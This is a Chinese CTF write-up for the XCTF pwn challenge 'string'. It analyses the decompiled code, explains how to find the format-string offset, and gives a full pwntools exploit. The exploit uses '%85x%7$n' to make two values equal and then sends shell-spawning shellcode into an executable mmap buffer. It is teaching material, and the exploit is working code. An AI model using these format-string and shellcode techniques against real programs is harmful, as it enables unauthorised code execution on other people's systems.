攻防世界pwn——string

分析

名字看来是格式化字符串漏洞

checksec

64位,开启了canary,不能直接栈溢出了

IDA

main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  _DWORD *v4; // [rsp+18h] [rbp-78h]

  setbuf(stdout, 0LL);
  alarm(0x3Cu);
  sub_400996(60LL);
  v4 = malloc(8uLL);
  *v4 = 68;
  v4[1] = 85;
  puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
  puts("we will tell you two secret ...");
  printf("secret[0] is %x\n", v4);
  printf("secret[1] is %x\n", v4 + 1);
  puts("do not tell anyone ");
  sub_400D72(v4);
  puts("The End.....Really?");
  return 0LL;
}

这是个小游戏,函数有点多,有目的性的找到在sub_400BB9()中有printf函数

unsigned __int64 sub_400BB9()
{
  int v1; // [rsp+4h] [rbp-7Ch] BYREF
  __int64 v2; // [rsp+8h] [rbp-78h] BYREF
  char format[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 0LL;
  puts("You travel a short distance east.That's odd, anyone disappear suddenly");
  puts(", what happend?! You just travel , and find another hole");
  puts("You recall, a big black hole will suckk you into it! Know what should you do?");
  puts("go into there(1), or leave(0)?:");
  _isoc99_scanf("%d", &v1);
  if ( v1 == 1 )
  {
    puts("A voice heard in your mind");
    puts("'Give me an address'");
    _isoc99_scanf("%ld", &v2);
    puts("And, you wish is:");
    _isoc99_scanf("%s", format);
    puts("Your wish is");
    printf(format);
    puts("I hear it, I hear it....");
  }
  return __readfsqword(0x28u) ^ v4;
}

分析一下流程:运行main→输入name后跳转sub_400D72→长度≤0xC就可以先执行sub_400A7D(),后执行sub_400BB9(),最后执行sub_400CA6(a1)

sub_400A7D中没有什么,sub_400BB9中有个printf,sub_400CA6中有个注意点。

unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
  void *v1; // rsi
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
  puts("Dragon say: HaHa! you were supposed to have a normal");
  puts("RPG game, but I have changed it! you have no weapon and ");
  puts("skill! you could not defeat me !");
  puts("That's sound terrible! you meet final boss!but you level is ONE!");
  if ( *a1 == a1[1] )
  {
    puts("Wizard: I will help you! USE YOU SPELL");
    v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
    read(0, v1, 0x100uLL);
    ((void (__fastcall *)(_QWORD))v1)(0LL);
  }
  return __readfsqword(0x28u) ^ v3;
}

if里mma是p一种内存映射文件的方法,通过read函数读入一串机器码,然后运行。也就是if判读a1[0]==a1[1]为真,就将v1的内容当成可执行的。很明显,拿v1来存储shellcode来执行。这里的v1往前翻一翻就知道其实是main里的v4传过去的

main里给了v4[0]=68,v4[1]=85值并不相等,就要得到v4的地址来修改值使得二者相等

exp

该函数里,是先输入存到v1里,但是没有对v1的printf无法利用漏洞,然后有v2和format两个分别存'address'和'wish',利用后面两个任意一个计算偏移

先利用%p的输入确定偏移量为7

aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p

第8个是0x6161616161616161,也就是输入的aaaaaaaa。64的调用约定是前 6 个参数是从左至右依次存放于RDI,RSI,RDX,RCX,R8,R9寄存器里面,剩下的参数通过栈传递,从右至左顺序入栈,这里也就是RDI→RSI→RDX→RCX→R8→R9→RSP+8→RSP+16,是RSP+16。

因为这一行printf前面还有'Give me an address'后输入的v2参数,占了一个偏移,所以输入的wish是printf的第八个参数,格式化字符串的第七个参数

这里找偏移还可以在address输入

65535 # 也就是0xffff

 这次就是第七个参数了

下面是将v4[1]的值85赋值到*v4中

from pwn import *
# context(arch='amd64', os='linux', log_level='debug')
p=remote("61.147.171.105 ",52277)
p.recvuntil('secret[0] is ')
#v4_addr=int(sh.recv(7),16)
v4_addr=int(p.recvuntil('\n')[:-1],16) # -1是从右边开始裁,16是转换成16进制

p.sendlineafter('name be:','name')
p.sendlineafter('east or up?:','east')
p.sendlineafter('leave(0)?:','1')
p.sendlineafter('\'Give me an address\'',str(v4_addr)) # 传入v4的地址

payload='a'*85+'%7$n'
# payload='%085d'+'%7$n'
# payload='%85x%7$n'
p.recvuntil('you wish is:')
p.sendline('%85x%7$n')

shellcode=asm(shellcraft.amd64.linux.sh(),arch="amd64")
p.recvuntil('I will help you! USE YOU SPELL')
p.sendline(shellcode)
p.interactive()

如果想v4[0]的值68放到v4[1]中,只要改一点就可以

p.recvuntil('secret[1] is ') # 换成获取v4+1的值
# 或者是和原来一样获取v4的值,但是后面改成p.sendlineafter('\'Give me an address\'',str(v4_addr+4))

%n将它前面的字符长度数赋值给一个变量或一个地址,用%k$n将其前面的字符长度数赋值给偏移该函数为k的参数

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值